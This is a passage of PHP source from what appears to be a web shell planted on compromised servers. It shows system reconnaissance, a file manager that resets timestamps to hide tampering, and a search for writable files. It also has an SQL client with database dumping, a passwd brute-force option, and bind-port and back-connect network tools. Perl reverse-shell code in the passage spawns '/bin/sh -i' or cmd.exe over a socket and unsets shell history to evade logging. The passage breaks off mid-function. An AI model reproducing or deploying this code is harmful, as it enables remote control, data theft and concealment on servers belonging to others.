665echo IW ? @file_get_contents('/etc/issue.net') . ' ' : '', @php_uname('s'), ' ', @php_uname('r'), ' ', @php_uname('v'), ' ', @php_uname('m');
666?></td></tr><tr><th>Server software :</th><td><?php
667if (!strpos($_SERVER['SERVER_SOFTWARE'], 'PHP/'))
668 echo '<b>PHP</b>/', @phpversion(), ' ';
669echo preg_replace('#([^ ]*)/#U', '<b>$1</b>/', $_SERVER['SERVER_SOFTWARE']);
670if (function_exists('curl_init'))
671 echo ' <b>cURL</b>';
672if (function_exists('mysql_connect'))
673 echo ' <b>MySQL</b>/' . @mysql_get_client_info();
674if (function_exists('mssql_connect'))
675 echo ' <b>MSSQL</b>';
676if (function_exists('pg_connect'))
677 echo ' <b>PostgreSQL</b>';
678if (function_exists('ocilogon'))
679 echo ' <b>Oracle</b>';
680?></td></tr><tr><th>User info :</th><td><?php
681if (PE) {
682 $u = @posix_getpwuid(@posix_geteuid());
683 $g = @posix_getgrgid(@posix_getegid());
684 $i = array(
685 $u['uid'],
686 $u['name'],
687 $g['gid'],
688 $g['name']
689 );
690} else {
691 $i = @getmygid();
692 $i = array(
693 @getmyuid(),
694 @get_current_user(),
695 $i,
696 empty($gi[$i]) ? $i : $gi[$i]
697 );
698}
699echo 'uid=', $i[0], '(', $i[1], ') gid=', $i[2], '(', $i[3], ')';
700?></td></tr><tr><th>SafeMode :</th><th style="color:<?php
701echo @ini_get('safe_mode') ? 'red">ON' : 'lime">OFF';
702?></th></tr><tr><th>OpenBaseDir :</th><th style="color:<?php
703echo ($d = @ini_get('open_basedir')) ? 'red">' . $d : 'lime">OFF';
704?></th></tr><tr><th>Disable functions : </th><td><?php
705echo ($d = @ini_get('disable_functions')) ? '<font color="#FF4500">' . str_replace(',', ', ', $d) . '</font>' : '<b><font color="lime">NONE</font></b>';
706?></td></tr> </table></fieldset> <fieldset class="menu"><form action="" method="post"> <button type="submit" name="fe">Explorer</button> <button type="submit" name="fs">Searcher</button> <button type="submit" name="se">SQL-client</button> <button type="submit" name="nt">Network Tools</button> <?php
707if (!IW && @is_readable('/etc/passwd')) {
708?> <button type="submit" name="br">passwd BruteForce</button> <?php
709}
710?> <button type="submit" name="sc">CMD</button> <button type="submit" name="si">Server info</button> </form></fieldset> <fieldset class="nav"><table width="100%"><tr><th width="50px" align="left">Go to :</th><?php
711$a = range('a', 'z');
712foreach ($a as $d)
713 if (@is_dir($d . ':'))
714 echo '<form action="" method="post"><td width="20px"><button type="submit" name="fp" value="' . $d . ':" style="padding:0; border:none; background:none;">' . strtoupper($d) . ':</button></td><input type="hidden" name="fe"/></form>';
715?><form action="" method="post"><td><input type="text" name="fp" value="<?php
716echo htmlspecialchars($_SESSION['CP']);
717?>" style="width:100%"/></td><td width="30px" align="right"><input type="submit" value=">"/></td><input type="hidden" name="fe"/></form><form action="" method="post"><td width="60px" align="right"><input type="submit" name="gh" value="Home"/></td><input type="hidden" name="fe"/></form></tr></table></fieldset> <?php
718if (isset($_POST['fe']) || isset($_POST['fs'])) {
719 if (!empty($_POST['fd']) || isset($_POST['fda'])) {
720 function dd($p)
721 {
722 $p = @realpath($p);
723 $d = @opendir($p);
724 while ($f = @readdir($d))
725 if ($f != '.' && $f != '..') {
726 if (is_dir($p . DIRECTORY_SEPARATOR . $f))
727 dd($p . DIRECTORY_SEPARATOR . $f);
728 else
729 @unlink($p . DIRECTORY_SEPARATOR . $f);
730 }
731 @closedir($d);
732 @rmdir($p);
733 }
734 function dfd($p)
735 {
736 $p = str_rot13($p);
737 $s = @stat(dirname($p));
738 if (@is_dir($p))
739 dd($p);
740 else
741 @unlink($p);
742 @touch(dirname($p), $s[9], $s[8]);
743 }
744 if (isset($_POST['fda']) && !empty($_POST['fc']))
745 foreach ($_POST['fc'] as $f)
746 dfd($f);
747 elseif (!empty($_POST['fd']))
748 dfd($_POST['fd']);
749 } elseif (!empty($_POST['fm']) || isset($_POST['fma'])) {
750 function aml($p)
751 {
752 $p = str_rot13($p);
753 if (!empty($_SESSION['MO'][$p]))
754 unset($_SESSION['MO'][$p]);
755 else {
756 if (!empty($_SESSION['CO'][$p]))
757 unset($_SESSION['CO'][$p]);
758 $_SESSION['MO'][$p] = 1;
759 }
760 }
761 if (isset($_POST['fma']) && !empty($_POST['fc']))
762 foreach ($_POST['fc'] as $f)
763 aml($f);
764 elseif (!empty($_POST['fm']))
765 aml($_POST['fm']);
766 } elseif (!empty($_POST['fcf']) || isset($_POST['fca'])) {
767 function acl($p)
768 {
769 $p = str_rot13($p);
770 if (!empty($_SESSION['CO'][$p]))
771 unset($_SESSION['CO'][$p]);
772 else {
773 if (!empty($_SESSION['MO'][$p]))
774 unset($_SESSION['MO'][$p]);
775 $_SESSION['CO'][$p] = 1;
776 }
777 }
778 if (isset($_POST['fca']) && !empty($_POST['fc']))
779 foreach ($_POST['fc'] as $f)
780 acl($f);
781 elseif (!empty($_POST['fcf']))
782 acl($_POST['fcf']);
783 } elseif (isset($_POST['fbc']))
784 unset($_SESSION['MO'], $_SESSION['CO']);
785 elseif (isset($_POST['fbp'])) {
786 function cd($p, $d)
787 {
788 $p = @realpath($p);
789 $sd = @stat($d);
790 $n = $d . DIRECTORY_SEPARATOR . basename($p);
791 if ((@is_dir($n) && @is_writable($n)) || @mkdir($n)) {
792 if ($h = @opendir($p)) {
793 $s = @stat($n);
794 while ($f = @readdir($h))
795 if ($f != '.' && $f != '..') {
796 if (@is_dir($p . DIRECTORY_SEPARATOR . $f))
797 cd($p . DIRECTORY_SEPARATOR . $f, $n);
798 else {
799 $sf = @stat($p . DIRECTORY_SEPARATOR . $f);
800 @copy($p . DIRECTORY_SEPARATOR . $f, $n . DIRECTORY_SEPARATOR . $f);
801 @touch($p . DIRECTORY_SEPARATOR . $f, $sf[9], $sf[8]);
802 }
803 }
804 @closedir($h);
805 @touch($n, $s[9], $s[8]);
806 }
807 @touch($d, $sd[9], $sd[8]);
808 }
809 }
810 $s = @stat($_SESSION['CP']);
811 if (!empty($_SESSION['MO'])) {
812 foreach ($_SESSION['MO'] as $v => $n) {
813 $t = $_SESSION['CP'] . basename($v);
814 $td = dirname($v);
815 $st = @stat($td);
816 @rename($v, $t);
817 @touch($t, $s[9], $s[8]);
818 @touch($td, $st[9], $st[8]);
819 }
820 unset($_SESSION['MO']);
821 }
822 if (!empty($_SESSION['CO'])) {
823 foreach ($_SESSION['CO'] as $v => $n) {
824 if (@is_dir($v))
825 cd($v, $_SESSION['CP']);
826 else {
827 $t = $_SESSION['CP'] . basename($v);
828 $sv = @stat($v);
829 @copy($v, $t);
830 @touch($t, $sv[9], $sv[8]);
831 }
832 }
833 unset($_SESSION['CO']);
834 }
835 @touch($_SESSION['CP'], $s[9], $s[8]);
836 } elseif (!empty($_POST['frs']) && !empty($_POST['frd'])) {
837 $ts = @stat(dirname($_POST['frs']));
838 $td = @stat(dirname($_POST['frd']));
839 $to = @stat($_POST['frs']);
840 if (@rename($_POST['frs'], $_POST['frd'])) {
841 @touch($_POST['frd'], $to[9], $to[8]);
842 @touch(dirname($_POST['frs']), $ts[9], $ts[8]);
843 @touch(dirname($_POST['frd']), $td[9], $td[8]);
844 sm('Rename successfully. Congratulations!', 'i');
845 } else
846 sm('Can\'t rename. Sorry.', 'e');
847 } elseif (!empty($_POST['fn'])) {
848 $s = @stat(dirname($_POST['fn']));
849 if ($_POST['t'] == 'f') {
850 if ($fh = @fopen($_POST['fn'], 'w')) {
851 @fclose($fh);
852 $_POST['fef'] = $_POST['fn'];
853 } else
854 sm('Can\'t create file. Sorry.', 'e');
855 } else {
856 if (@mkdir($_POST['fn']))
857 sm('Folder created successfully. Congratulations!', 'i');
858 else
859 sm('Can\'t create folder. Sorry.', 'e');
860 }
861 @touch($_POST['fn'], $s[9], $s[8]);
862 @touch(dirname($_POST['fn']), $s[9], $s[8]);
863 } elseif (!empty($_FILES)) {
864 foreach ($_FILES['fu']['name'] as $i => $v) {
865 $s = @stat($_SESSION['CP']);
866 @move_uploaded_file($_FILES['fu']['tmp_name'][$i], $_SESSION['CP'] . $v);
867 @touch($_SESSION['CP'] . $v, $s[9], $s[8]);
868 @touch($_SESSION['CP'], $s[9], $s[8]);
869 }
870 }
871 if (isset($_POST['fef'])) {
872?> <fieldset><form action="" method="post" align="center"><input type="hidden" name="fe"/><input type="hidden" name="fpr" value="<?php
873 echo htmlspecialchars(str_rot13($_POST['fef']));
874?>"/><input type="submit" value="Edit file"/> <input type="submit" name="ai" value="Show as image"/></form></fieldset> <?php
875 if (@is_file($_POST['fef'])) {
876 $s = @stat($_POST['fef']);
877 if (isset($_POST['fefs'])) {
878 if ($f = @fopen($_POST['fef'], 'w')) {
879 @fwrite($f, $_POST['fefc']);
880 @fclose($f);
881 @touch($_POST['fef'], $s[9], $s[8]);
882 sm('File successfully saved. Congratulations!', 'i');
883 } else
884 sm('Can\'t save this file. Sorry.', 'e');
885 } elseif (isset($_POST['fefp'])) {
886 if (@chmod($_POST['fef'], intval($_POST['fefp'], 8))) {
887 @touch($_POST['fef'], $s[9], $s[8]);
888 sm('File permissions successfully changed. Congratulations!', 'i');
889 } else
890 sm('Can\'t change file permissions. Sorry.', 'e');
891 } elseif (isset($_POST['fefg'])) {
892 if (@chgrp($_POST['fef'], $_POST['fefg'])) {
893 @touch($_POST['fef'], $s[9], $s[8]);
894 sm('File group successfully changed. Congratulations!', 'i');
895 } else
896 sm('Can\'t change file group. Sorry.', 'e');
897 } elseif (isset($_POST['fefd'])) {
898 if (@touch($_POST['fef'], @strtotime($_POST['fefd'])))
899 sm('File modification times successfully changed. Congratulations!', 'i');
900 else
901 sm('Can\'t change file modification times. Sorry', 'e');
902 }
903 if (isset($_POST['ai'])) {
904 echo '<center><img alt="Can\'t show as image. Sorry." src="data:image;base64,', base64_encode(@file_get_contents($_POST['fef'])), '"/></center>';
905 } else {
906 if (@is_readable($_POST['fef'])) {
907?><form action="" method="post" style="padding-top:0"><fieldset style="text-align:right"><?php
908 echo @is_writable($_POST['fef']) ? '<input type="text" name="fef" value="' . htmlspecialchars($_POST['fef']) . '" style="width:925px""/> <input type="submit" name="fe" value="Save"/><input type="hidden" name="fefs"/>' : 'READ ONLY';
909?></fieldset><textarea name="fefc" id="s"><?php
910 $f = @fopen($_POST['fef'], 'rb');
911 while ($b = @fread($f, 1048576))
912 echo htmlspecialchars($b);
913 @fclose($f);
914?></textarea></form><?php
915 } else
916 sm('Can\'t read this file. Sorry.', 'e');
917 @clearstatcache(FALSE, $_POST['fef']);
918 $s = @stat($_POST['fef']);
919?><fieldset><table width="100%"><tr><td><form action="" method="post">File permission : <input type="text" name="fefp" value="<?php
920 echo substr(sprintf('%o', @fileperms($_POST['fef'])), -5);
921?>" style="width:55px"/> <input type="submit" name="fe" value=">"/><input type="hidden" name="fpr" value="<?php
922 echo htmlspecialchars(str_rot13($_POST['fef']));
923?>"/></form></td><td><form action="" method="post">File group : <input type="text" name="fefg" value="<?php
924 echo $s[5];
925?>" style="width:100px"/> <input type="submit" name="fe" value=">"/><input type="hidden" name="fpr" value="<?php
926 echo htmlspecialchars(str_rot13($_POST['fef']));
927?>"/></form></td><td><form action="" method="post">File modification times: <input type="text" name="fefd" value="<?php
928 echo @date('Y-m-d H:i:s', $s[9]);
929?>" style="width:150px"/> <input type="submit" name="fe" value=">"/><input type="hidden" name="fpr" value="<?php
930 echo htmlspecialchars(str_rot13($_POST['fef']));
931?>"/></form></td></tr></table></fieldset><?php
932 }
933 } else
934 sm('Can\'t read this file. Sorry.', 'e');
935 } else {
936 $d = array(
937 '/directory1',
938 '/dir2/subdir2',
939 '/dir3/*/subsubdir3',
940 'dir4/lang-??/'
941 );
942 if (IW)
943 $d = 'c:' . implode(';c:', $d);
944 else
945 $d = implode(';', $d);
946 if (isset($_POST['fs'])) {
947 if (!empty($_POST['fss'])) {
948 $_POST['fst'] = 1;
949 $_POST['fsr'] = 1;
950 }
951?><fieldset align="center"><form action="" method="post"><input type="hidden" name="fe"/>Search <select name="fsr"><option value="0">any</option><option value="1"<?php
952 if (isset($_POST['fsr']) && $_POST['fsr'] == 1)
953 echo ' selected="selected"';
954?>>readable </option><option value="2"<?php
955 if (!empty($_POST['fsr']) && $_POST['fsr'] == 2)
956 echo ' selected="selected"';
957?>>writable </option></select> <select name="fst"><option value="0">objects </option><option value="1"<?php
958 if (!empty($_POST['fst']) && $_POST['fst'] == 1)
959 echo ' selected="selected"';
960?>>files </option><option value="2"<?php
961 if (!empty($_POST['fst']) && $_POST['fst'] == 2)
962 echo ' selected="selected"';
963?>>dirs </option></select> with a name <input type="text" name="fsn" value="<?php
964 echo empty($_POST['fsn']) ? '*' : htmlspecialchars($_POST['fsn']);
965?>" title="Example: *.sql,backup*,user-01???.ftp,.htpasswd" style="width:190px"/> in <input type="text" name="fsp" value="<?php
966 echo empty($_POST['fsp']) ? htmlspecialchars($_SESSION['CP']) : htmlspecialchars($_POST['fsp']);
967?>" title="Example: <?php
968 echo $d;
969?>" style="width:440px"/> <input type="submit" name="fs" value=">"/><div style="margin-top:10px; text-align:center"> with text <input type="text" name="fss" value="<?php
970 if (!empty($_POST['fss']))
971 echo htmlspecialchars($_POST['fss']);
972?>" style="width:900px"/></div></form></fieldset><?php
973 }
974 $a = array();
975 function cn(&$i1, &$i2)
976 {
977 if ($i1[3] == 0 || $i2[3] == 0) {
978 if ($i1[3] == 0 && $i1[1] == '[ .. ]')
979 return 0;
980 if ($i2[3] == 0 && $i2[1] == '[ .. ]')
981 return 1;
982 if ($i1[3] != 0 && $i2[3] == 0)
983 return 1;
984 if ($i1[3] == 0 && $i2[3] != 0)
985 return -1;
986 } elseif ($i1[2] > $i2[2])
987 return 1;
988 elseif ($i1[2] < $i2[2])
989 return -1;
990 return @strnatcmp($i1[1], $i2[1]);
991 }
992 function gs($p, &$n, &$a)
993 {
994 if (substr($p, -1) !== DIRECTORY_SEPARATOR)
995 $p .= DIRECTORY_SEPARATOR;
996 if (!empty($_POST['fss']))
997 $c = -1 * strlen($_POST['fss']);
998 if ($t = @glob($p . $n, GLOB_BRACE))
999 foreach ($t as $v) {
1000 if ($_POST['fsr'] == 0 || ($_POST['fsr'] == 1 && @is_readable($v)) || ($_POST['fsr'] == 2 && @is_writable($v))) {
1001 if ($_POST['fst'] != 1 && empty($_POST['fss']) && @is_dir($v)) {
1002 $tn = basename($v);
1003 if ($tn != '.' && $tn != '..')
1004 $a[] = array(
1005 $v,
1006 '[ ' . $v . ' ]',
1007 '',
1008 0
1009 );
1010 } elseif ($_POST['fst'] != 2 && @is_file($v)) {
1011 if (!empty($_POST['fss'])) {
1012 if ($f = @fopen($v, 'rb')) {
1013 while ($s = @fread($f, 1048576)) {
1014 if (stripos($s, $_POST['fss'])) {
1015 $a[] = array(
1016 $v,
1017 $v,
1018 '',
1019 1
1020 );
1021 break;
1022 }
1023 if (!@feof($f))
1024 @fseek($f, $c, SEEK_CUR);
1025 }
1026 @fclose($f);
1027 }
1028 } else
1029 $a[] = array(
1030 $v,
1031 $v,
1032 '',
1033 1
1034 );
1035 }
1036 }
1037 }
1038 if ($t = @glob($p . '*', GLOB_ONLYDIR))
1039 foreach ($t as $v)
1040 gs($v, $n, $a);
1041 }
1042 $a = array();
1043 if (isset($_POST['fs'])) {
1044 if (isset($_POST['fsn'])) {
1045 $n = ($_POST['fsn'] == '*') ? '{.,}*' : '{' . $_POST['fsn'] . '}';
1046 $p = explode(';', $_POST['fsp']);
1047 foreach ($p as $v)
1048 gs($v, $n, $a);
1049 }
1050 } else {
1051 if (@is_readable($_SESSION['CP'])) {
1052 $d = @opendir($_SESSION['CP']);
1053 while ($v = @readdir($d)) {
1054 $p = @realpath($_SESSION['CP'] . $v);
1055 if (@is_dir($p)) {
1056 if ($v != '.')
1057 $a[] = array(
1058 $p,
1059 '[ ' . $v . ' ]',
1060 '[ DIR ]',
1061 0
1062 );
1063 } elseif (@is_file($p)) {
1064 $i = strrpos($v, '.');
1065 if ($i > 0)
1066 $a[] = array(
1067 $p,
1068 substr($v, 0, $i),
1069 substr($v, $i + 1),
1070 1
1071 );
1072 else
1073 $a[] = array(
1074 $p,
1075 $v,
1076 '',
1077 1
1078 );
1079 } else {
1080 $a[] = array(
1081 $p,
1082 $v,
1083 '',
1084 1
1085 );
1086 }
1087 }
1088 @closedir($d);
1089 @uasort($a, cn);
1090 }
1091 }
1092 if (!empty($a)) {
1093?><script>function sv(t,i){t.value=document.getElementById('v'+i).value;}</script><form action="" method="post" id="ff"><input type="hidden" name="fe"/><table class="listf"><tr><th width="20px"><input type="checkbox" onclick="ca(this.checked, 'ff')"/></th><th>Name</th><?php
1094 if (!isset($_POST['fs']))
1095 echo '<th width="50px">Ext</th>';
1096?><th width="90px">Size (kB)</th><th width="<?php
1097 echo isset($_POST['fs']) ? '130' : '140';
1098?>px">Modified</th><th width="140px">Owner</th><th width="55px">Perms</th><th width="140px">Actions</th></tr><?php
1099 foreach ($a as $n => $v) {
1100 $s = @stat($v[0]);
1101 $r = htmlspecialchars(str_rot13($v[0]));
1102 $i = ($v[3] == 0 && $v[1] == '[ .. ]');
1103 echo '<tr><td>';
1104 if (!$i)
1105 echo '<input type="checkbox" name="fc[]" id="v', $n, '" value="', $r, '"/>';
1106 echo '</td><td><button type="submit" name="fpr"';
1107 if (!empty($_SESSION['MO'][$v[0]]))
1108 echo ' style="text-decoration:line-through"';
1109 elseif (!empty($_SESSION['CO'][$v[0]]))
1110 echo ' style="text-decoration:underline"';
1111 echo $i ? ' value="' . $r . '"' : ' onclick="sv(this,' . $n . ')"', '>', htmlspecialchars($v[1]), '</button></td>';
1112 if (!isset($_POST['fs']))
1113 echo '<td>', htmlspecialchars($v[2]), '</td>';
1114 echo '<td align="right">', ($v[3] == 0) ? '[ DIR ]' : @number_format($s[7] / 1024, 3, '.', ''), '</td><td align="center">', isset($_POST['fs']) ? @date('y-m-d H:i:s', $s[9]) : @date('Y-m-d H:i:s', $s[9]), '</td><td align="center">';
1115 if (PE) {
1116 $t = @posix_getpwuid($s[4]);
1117 echo $t['name'];
1118 } elseif (!empty($ui[$s[4]]))
1119 echo $ui[$s[4]];
1120 else
1121 echo $s[4];
1122 echo '/';
1123 if (PE) {
1124 $t = @posix_getgrgid($s[5]);
1125 echo $t['name'];
1126 } elseif (!empty($gi[$s[5]]))
1127 echo $gi[$s[5]];
1128 else
1129 echo $s[5];
1130 echo '</td><td style="text-align:center;', @is_writable($v[0]) ? 'color:green' : (@is_readable($v[0]) ? '' : 'color:red'), '">', substr(sprintf('%o', @fileperms($v[0])), -5), '</td><td align="center">';
1131 if (!$i)
1132 echo '<button type="submit" name="fd" onclick="sv(this,' . $n . ')">Del</button> <button type="submit" name="fm" onclick="sv(this,' . $n . ')">Move</button> <button type="submit" name="fcf" onclick="sv(this,' . $n . ')">Copy</button> <button type="submit" name="fdw" onclick="sv(this,' . $n . ')">Get</button>';
1133 echo '</td></tr>';
1134 }
1135?><tr><th colspan="4" align="left"> With selected : <input type="submit" name="fda" value="Delete"/> <input type="submit" name="fma" value="Move"/> <input type="submit" name="fca" value="Copy"/> <input type="submit" name="fdwa" value="Download"/></th><th colspan="<?php
1136 echo isset($_POST['fs']) ? 3 : 4;
1137?>" align="right"><?php
1138 if (!isset($_POST['fs']) && (!empty($_SESSION['CO']) || !empty($_SESSION['MO'])))
1139 echo 'With ', @count($_SESSION['CO']) + @count($_SESSION['MO']), ' objects in buffer : <input type="submit" name="fbc" value="Clean"/>', @is_writable($_SESSION['CP']) ? ' <input type="submit" name="fbp" value="Paste"/>' : '';
1140?></th></tr></table></form><fieldset style="text-align:center"><form action="" method="post">Rename <input type="text" name="frs" value="<?php
1141 echo htmlspecialchars($_SESSION['CP']);
1142?>" style="width:435px"/> to <input type="text" name="frd" value="<?php
1143 echo htmlspecialchars($_SESSION['CP']);
1144?>" style="width:435px"/> <input type="submit" name="fe" value=">"/></form></fieldset><?php
1145 if (@is_writable($_SESSION['CP'])) {
1146?><fieldset style="float:left; width:480px; text-align:center"><form action="" method="post">Create <select name="t"><option value="f">file </option><option value="d">dir</option></select> : <input type="text" name="fn" value="<?php
1147 echo htmlspecialchars($_SESSION['CP']);
1148?>" style="width:335px"/> <input type="submit" name="fe" value=">"/></form></fieldset><fieldset style="float:right; width:480px; text-align:center; clear:bottom"><form action="" method="post" enctype="multipart/form-data"><input type="file" name="fu[]" size="55" multiple="multiple" style="width:410px"/> <input type="submit" name="fe" value="upload"/></form></fieldset><?php
1149 }
1150 } elseif (!isset($_POST['fs']) || isset($_POST['fsn']))
1151 sm('Can\'t find any file. Sorry.', 'e');
1152 }
1153} elseif (isset($_POST['se'])) {
1154 $c = array(
1155 'tp' => '',
1156 'ha' => 'localhost',
1157 'hp' => '',
1158 'un' => '',
1159 'up' => '',
1160 'db' => ''
1161 );
1162 if (isset($_POST['sc']))
1163 $c = $_POST['sc'];
1164 elseif (isset($_SESSION['DB']))
1165 $c = $_SESSION['DB'];
1166 if (isset($_POST['sd'])) {
1167 $c['db'] = $_POST['sd'];
1168 $c['tn'] = '';
1169 } elseif (isset($_POST['st']))
1170 $c['tn'] = $_POST['st'];
1171 if (isset($_POST['so']))
1172 $c['sl'] = $_POST['so'];
1173 if (!isset($c['tn']))
1174 $c['tn'] = '';
1175 if (!isset($c['sl']))
1176 $c['sl'] = 10;
1177?><fieldset><form action="" method="post" align="center">Type : <select name="sc[tp]"><?php
1178 $t = array(
1179 'mysql' => 'MySQL',
1180 'mssql' => 'MSSQL',
1181 'pg' => 'PostgreSQL'
1182 );
1183 foreach ($t as $k => $v)
1184 if (function_exists($k . '_connect')) {
1185 echo '<option value="', $k, '"';
1186 if ($c['tp'] == $k)
1187 echo ' selected="selected"';
1188 echo '>', $v, ' </option>';
1189 }
1190?></select> Host : <input type="text" name="sc[ha]" value="<?php
1191 echo htmlspecialchars($c['ha']);
1192?>" style="width:150px"/>:<input type="text" name="sc[hp]" value="<?php
1193 echo $c['hp'];
1194?>" style="width:45px"/> User : <input type="text" name="sc[un]" value="<?php
1195 echo htmlspecialchars($c['un']);
1196?>" style="width:130px"/> Password : <input type="text" name="sc[up]" value="<?php
1197 echo htmlspecialchars($c['up']);
1198?>" style="width:130px"/> DB : <input type="text" name="sc[db]" value="<?php
1199 echo htmlspecialchars($c['db']);
1200?>" style="width:130px"/> <input type="submit" name="se" value=">"/></form></fieldset><?php
1201 if (!empty($c['tp'])) {
1202 $s = new sc($c['tp']);
1203 if ($s->cn($c['ha'], $c['hp'], $c['un'], $c['up'])) {
1204 $_SESSION['DB'] = $c;
1205?><div style="float:left; margin-left:3px; margin-top:4px; width:235px;"><form action="" method="post" id="fd"><input type="hidden" name="se"/><table class="lists" id="fd"><tr><th width="20px"><input type="checkbox" onclick="ca(this.checked, 'fd')"/></th><th>Databases :</th></tr><?php
1206 if ($s->ld()) {
1207 $i = 0;
1208 while ($v = $s->fv($i++))
1209 echo '<tr><td><input type="checkbox" name="cd[]" value="', $v, '"/></td><td><input type="submit" name="sd" value="', $v, '"/></td></tr>';
1210 }
1211?><tr><th colspan="2"><input type="submit" name="sdd" value="Dump"/></th></tr></table></form><?php
1212 if (!empty($c['db']))
1213 $s->sd($c['db']);
1214 if (!empty($c['db']) && $r = $s->lt($c['db'])) {
1215 $ts = array();
1216?><br/><form action="" method="post" id="ft"><input type="hidden" name="se"/><table class="lists"><tr><th width="20px"><input type="checkbox" onclick="ca(this.checked, 'ft')"/></th><th>[ <?php
1217 echo $c['db'];
1218?> ]</th></tr><?php
1219 $i = 0;
1220 while ($v = $s->fv($i++, $r)) {
1221 $ts[$v] = $s->ts($c['db'], $v);
1222 echo '<tr><td><input type="checkbox" name="ct[]" value="', $v, '"/></td><td><input type="submit" name="st" value="', $v, '"/><div>', $ts[$v], '</div></td></tr>';
1223 }
1224?><tr><th colspan="2"><input type="submit" name="sdt" value="Dump"/></th></tr></table></form><?php
1225 }
1226?></div><?php
1227 if (isset($_POST['sq'])) {
1228 $q = $_POST['sq'];
1229 $c['tn'] = '';
1230 } elseif (!empty($c['tn'])) {
1231 $p = isset($_POST['sp']) ? $_POST['sp'] : 1;
1232 $q = $s->ql($c['db'], $c['tn'], $p, $c['sl']);
1233 } else
1234 $q = '';
1235?><div style="float:right; width:755px; margin-right:3px;"><fieldset><form action="" method="post">Query : <input type="text" name="sq" value="<?php
1236 echo htmlspecialchars($q);
1237?>" style="width:650px"/> <input type="submit" name="se" value=">"/></form></fieldset><?php
1238 if (!empty($q)) {
1239 if ($s->q($q)) {
1240 echo '<div style="overflow-x:auto; margin:3px;"><table class="listr" ><tr>';
1241 $i = 0;
1242 while ($v = $s->fn($i++))
1243 echo '<th>', htmlspecialchars($v), '</th>';
1244 echo '</tr>';
1245 while ($v = $s->fr()) {
1246 echo '<tr>';
1247 foreach ($v as $t)
1248 echo '<td><p>', htmlspecialchars($t), '</p></td>';
1249 echo '</tr>';
1250 }
1251 echo '</table></div>';
1252 if (!empty($c['tn'])) {
1253 $l = ceil($ts[$c['tn']] / $c['sl']);
1254 if ($l > 1) {
1255?><fieldset class="pag"><table width="100%"><tr><td>Page : <form action="" method="post"><input type="hidden" name="se"/><input type="submit" name="sp" value="1"/><?php
1256 if ($p > 2)
1257 echo ' <button type="submit" name="sp" value="', $p - 1, '"><</button>';
1258?></form><form action="" method="post"><input type="hidden" name="se"/> <input type="text" name="sp" value="<?php
1259 echo $p;
1260?>" style="width:60px"/></form><form action="" method="post"><input type="hidden" name="se"/><?php
1261 if ($p < $l - 1)
1262 echo ' <button type="submit" name="sp" value="', $p + 1, '">></button>';
1263?> <input type="submit" name="sp" value="<?php
1264 echo $l;
1265?>"/></form></td><td align="right"><form action="" method="post">Rows per page: <select name="so"><?php
1266 $t = array(
1267 10,
1268 25,
1269 50,
1270 100
1271 );
1272 foreach ($t as $v) {
1273 echo '<option value="', $v, '"';
1274 if ($c['sl'] == $v)
1275 echo ' selected="selected"';
1276 echo '>', $v, '</option>';
1277 }
1278?></select> <input type="submit" name="se" value=">"/></form></td></tr></table></fieldset><?php
1279 }
1280 }
1281 } else
1282 sm($s->e(), 'e');
1283 }
1284?></div><br style="clear:both;"/><?php
1285 $s->cl();
1286 } else {
1287 if (isset($_SESSION['DB']))
1288 unset($_SESSION['DB']);
1289 sm('Can\'t connect. ' . $s->e(), 'e');
1290 }
1291 }
1292} elseif (isset($_POST['nt'])) {
1293 $pf = empty($_POST['pf']) ? 0 : $_POST['pf'];
1294 $pl = empty($_POST['pl']) ? 65535 : $_POST['pl'];
1295 $sc = empty($_POST['sc']) ? 50 : $_POST['sc'];
1296?> <div class="ntwrk"> <fieldset><legend>Bind port</legend><form action="" method="post"><div>Port : <input type="text" name="pb" value="<?php
1297 echo empty($_POST['pb']) ? '8888' : $_POST['pb'];
1298?>" style="width:42px"/> <button type="submit" name="nt" value="bp"/>></button></div></form></fieldset> <fieldset><legend>Back-connect</legend><div><form action="" method="post">To : <input type="text" name="hbc" value="<?php
1299 echo empty($_POST['hbc']) ? $_SERVER['REMOTE_ADDR'] : $_POST['hbc'];
1300?>" style="width:102px"/> : <input type="text" name="pbc" value="<?php
1301 echo empty($_POST['pbc']) ? '8888' : $_POST['pbc'];
1302?>" style="width:41px"/> <button type="submit" name="nt" value="bc">></button></form></div></fieldset> <?php
1303 if (function_exists('socket_create')) {
1304?> <fieldset><legend>Port scanner</legend><form action="" method="post"><table width="100%" class="form"><tr><td width="55px">Host :</td><td colspan="2"><input type="text" name="hs" value="<?php
1305 echo empty($_POST['hs']) ? 'localhost' : $_POST['hs'];
1306?>" style="width:100%"/></td></tr><tr><td>Ports :</td><td colspan="2"><input type="text" name="pf" size="5" value="<?php
1307 echo $pf;
1308?>"/> - <input type="text" name="pl" size="5" value="<?php
1309 echo $pl;
1310?>"/></td></tr><tr><td>Streams :</td><td><input type="text" name="sc" size="4" value="<?php
1311 echo $sc;
1312?>"/></td><td align="right"><button type="submit" name="nt" value="ps">></button></td></tr></table></form></fieldset> <?php
1313 }
1314?> </div> <div style="float:left; width:740px"><center><?php
1315 $l0 = '#!/usr/bin/perl' . "\n" . '$SIG{\'CHLD\'}=\'IGNORE\'; use IO::Socket; use FileHandle;$o=" [OK]";$e=" Error: ";$l="\r\n-----------------------------------------\r\n";$h="---- ';
1316 $l1 = ' ----"; print $h; print "\r\n> Start..."; print "\r\n> Get protocol by name...";$tcp=getprotobyname("tcp") or die print "$l$e$!$l"; print " $o"; ';
1317 $l2 = ' print "\r\n> Packed address info...";$sckt=sockaddr_in(';
1318 $l3 = ') or die print "$l$e$!$l"; print " $o"; print "\r\n> Create socket..."; socket(SOCKET, PF_INET, SOCK_STREAM,$tcp) or die print "$l$e$!$l"; print " $o"; ';
1319 $l4 = (IW ? '' : 'system("unset HISTFILE; unset SAVEHIST;");') . ' print "\r\n$h\r\n\r\n"; system(' . (IW ? "'cmd.exe'" : "'/bin/sh -i'") . ');print "$l\r\n"; ';
1320 if ($_POST['nt'] == 'bp') {
1321 @session_write_close();
